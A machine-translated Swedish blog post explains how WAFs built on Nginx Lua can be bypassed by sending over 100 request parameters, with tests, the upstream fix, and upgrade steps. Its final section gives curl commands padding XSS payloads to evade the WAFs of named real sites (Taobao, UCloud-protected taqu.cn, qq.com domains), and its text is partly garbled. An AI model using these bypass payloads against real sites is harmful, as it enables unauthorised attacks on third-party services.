|
|
Publicerad på 2018-04-27 09:23:29
|
|
|
|

När ginx Lua får parametrar erhålls de första 100 parametervärdena som standard, och resten kasseras. Därför kommer WAF:er som använder Nginx Lua att förbigås som standard. Den 20 den 18 april hade någon på säkerhetspassageraren redan avslöjat denna detalj, så jag publicerade även denna artikel 233.
Princip
Den officiella beskrivningen är som följer
Observera att maximalt 100 begäranarargument tolkas som standard (inklusive de med samma namn) och att ytterligare förfrågningsargument tyst kasseras för att skydda mot potentiella argument Överbelastningsattacker. Upp till 100 begäransökningsparametrar (inklusive de med samma namn) kan tolkas som standard, och ytterligare begäransökningsparametrar tas automatiskt bort för att förhindra potentiella överkörningsattacker.
Sök 100, ungefär följande metod har samma problem. ngx.req.get_uri_args Hämta förfrågningsparametrarna för get ngx.req.get_post_args Få förfrågningsparametrarna för inlägget ngx.req.get_headers Hämta begäransökan. ngx.decode_args Avkoda URL:en för parametrarna ngx.resp.get_headers Få svarshuvudet I lua-nginx-modulens källkod kan vi se att källkoden sätter standardparametern och headern för maximal begäran till 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Dock tillhandahåller tjänstemannen en metod för att ändra standardvärdet, såsom ngx.req.get_uri_args (200) för att få de första 200 förfrågningsparametrarna.
Test
Om begäranparametern är 101 kan den sista begäranparametern inte erhållas.
Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Om du minskar en förfrågningsparameter kan du få den sista förfrågningsparametern när förfrågningsparametrarna är exakt 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 A: ZBG Jag har dig, zbg
Observera att standardvärdet faktiskt är 100 förfrågningsparametrar, och förfrågningsparametrarna efter 100 förfrågningsparametrar kommer att kasseras.
Det är märkligt att i returinnehållet ovan, mitt i den grova positionen, är den slutliga zbg-parametern redan utmatad. Min gissning är att utdata inte är i ordning, men ordningen i vilken parsingen sker följer ordningen i vilken parametrarna lämnas in, eftersom när värdet på den 101:a parametern är zbg kan värdet inte erhållas.
Bifogat är pythonskriptet som genererar parametrarna:
# Författare: ZBG # post:zbg@zbg.org # datum: 2018-04-03
a = '' för i inom intervall(200): a = a + 'a{0}={1}&'.format(i+1, i+1) tryck a reparera Naturligtvis rekommenderas det inte att ändra MAX-värdet för parametern i källkoden. För oavsett hur stort värdet du sätter kan det kringgås. Det rekommenderas att ställa in den genom metodens parametrar. Om du kan få längden på begäranparametern och använda en metod som ngx.req.get_uri_args (lenth), skulle det inte räcka? När jag läste dokumentationen upptäckte jag att antalet begärda parametrar inte kunde erhållas. Men om du sätter lenth till 0 kan du få alla begärda parametrar.
Detta argument kan sättas till noll för att ta bort gränsen och för att bearbeta alla mottagna begäranarargument. lokala ARGS = ngx.req.get_uri_args(0)
Det avråds dock starkt att sätta den till 0 för att förhindra potentiella överbelastningsattacker.
Att ta bort max_args lock avråds starkt.
Faktiskt undrade jag varför inställning 0 skulle leda till en potentiell överbelastningsattack, och att begäran ändå skulle gå till nginx, oavsett hur många parametrar det fanns i get eller post.
Jag tog upp ett problem med tjänstemannen, och författaren sa att ngx.req.get_uri_args (0) kommer att öka serverns CPU- och minnesanvändning. Senare testade jag 200 parametrar och använde Nginx+php för att få fram den 200:e parametern, vilket betyder att Nginx inte begränsar antalet begärda parametrar som standard. Då kan problemet ligga i Nginx Lua själv,När Nginx Lua använder ngx.req.get_uri_args(0) för att hämta alla parametrar och itererar genom dem, förbrukar det mer CPU och minne när det väl efterfrågas många parametrar, och leder till slut till en överbelastning av tjänst。
Den 03/04/2018 tog Bypass007 officiellt upp ett PROBLEM om denna buggfix, och lade slutligen officiellt till en ny funktion baserad på detta PROBLEM den 2018-04-21. Commit-postadressen för denna funktion: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Funktionsbeskrivningen är följande: I versioner efter v0.10.13 (inklusive v0.10.13), när gränsen för antalet förfrågningar bryts, är det andra returvärdet den trunkerade strängen. Sedan v0.10.13, när gränsen överskrids, kommer det att returnera ett andra värde som är strängen "trunkerad". Dock kan argumentet max_args funktion användas för att åsidosätta denna gräns: Lokala ARG:er, ERR = ngx.req.get_uri_args(10) Om err == "trunkerad" så -- kan man välja att ignorera eller avslå den aktuella begäran här slut
Så, den slutgiltiga lösningen kom ut.
Uppgradera lua-nginx-modulen till v0.10.13 eller senare
Begränsa sedan det totala antalet parametrar, och för hur mycket det totala antalet är begränsat tycker jag personligen att 100 är tillräckligt
OpenResty uppgraderar lua-nginx-modulmodulen
Jag hittade ingen information om OpenResty-uppgraderingsmodulen, så jag kom på hur man uppgraderar lua-nginx-modulen själv.
Stegen är följande:
Ladda ner motsvarande version av lua-nginx-modulmodulen Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 uppacka tar -zxvf v0.10.13 Ta bort den tidigare versionen av lua-nginx-modulen rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Kopiera den nya lua-nginx-modulen MV LUA-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 För kompilering, se kompileringsparametrarna för VeryNginx
Förbipassering av fodralet
Det bör förtydligas att jag inte är säker på om jag ska använda Nginx Lua för följande WAFs, men de kan kringgås med det totala antalet parametrar.
Ali WAF
Denna WAF är en WAF som används internt av Alibaba, det vill säga den WAF som används av domännamn som *.taobao.com, och har inte testats för molnets WAF som säljs av Alibaba Cloud. Först, begär en POST XSS-nyttolast för att avlyssna den. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Genom Fuzz upptäcktes att när antalet parametrar ökas till 478 med XSS Payload, blir den inte längre avlyssnad och webbplatsen kan nås normalt. Curl -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131=131&a132=132&a133=133=134& A135=135&A136=136&A137=137&A138=138&A139=139&A140=140&A141=141&A142=142&A143=143&A144=144=145&A146=146&A147=147&A148=148&A149=149&A150=150&A151=151&A152=152&A153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171=171& A172=172&A173=173&A174=174&A175=175&A176=176&A177=177&A178=178&A179=179&A180=180&A181=181&A182=182&A183=183&A184=184&A185=185&A186=186&A187=187&A188=188&A189=189&A190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& A209=209&A210=210&A211=211&A212=212&A213=213&A214=214&A215=215&A216=216&A217=217&A218=218&A219=219&A220=220&A221=21&A222=22=222=223&A224=24&a225=25&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& A246=246&A247=247&A248=248&A249=249&A250=250&A251=251&A252=252&A253=253&A254=254&A255=255&A256=256&A257=257&A258=258&A259=259&A260=260&A261=261&A262=262&A263=263&A264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& A283=283&A284=284&A285=285&A286=286&A287=287&A288=288&A289=289&A290=290&A291=291&A292=292&A293=293&A294=294&A295=295&A296=296&A297=297&A298=298&A299=299&A300=300&A301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& A320=320&A321=321&A322=322&A323=323&A324=324&A325=325&A326=326&A327=327&A328=328&A329=329&A330=330&A331=331&A332=332&A333=333&A334=334&A335=35&A336=336&A337=37&A338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355=356=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&A372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& A394=394&A395=395&A396=396&A397=397&A398=398&A399=399&A400=400&A401=401&A402=402&A403=403&A404=404&A405=405&A406=406&A407=407&A408=408&A409=409&A410=410&A411=411&A412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& A431=431&A432=432&A433=433&A434=434&A435=435&A436=436&A437=437&A438=438&A439=439&A440=440&A441=441&A442=442&A443=443&A444=444=444=445=445&A446=46&A447=447&A448=48&A449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=455=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465=465&a466=466=466=467& A468=468&A469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<Img SRC=X onerror=alert(/xss/)>' lu.taobao.com
UCloud
Den WAF som testas är en WAF som säljs av UCloud. När begäranparametern höjs till 138 kommer den inte längre att blockeras och webbplatsen kommer att nås som vanligt. curl -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131=131&a132=132&a133=133=134& A135=135&A136=136&A137=137&A=alert(1234)' taqu.cn
Tencent WAF
Denna WAF är en WAF som används internt av Tencent, det vill säga den WAF som används av domännamn som *.qq.com, och har inte testats för molnets WAF som säljs av Tencent Cloud. När begäranparametern ökar till 4000 kommer den inte längre att blockeras och webbplatsen kommer att nås normalt. Slumpmässiga tester av följande domäner påverkas. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
sammanfattning
Den här frågan är mycket enkel, och du kan hitta den genom att noggrant läsa dokumentet. Men varför fick jag inte reda på det? Jag tycker fortfarande att det är för lite tänkande. Referens
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Föregående:Lär dig Photoshop från grunden, 18 lektioner från nybörjare till gudNästa:Styrkor och svagheter hos Lua och Luajit
|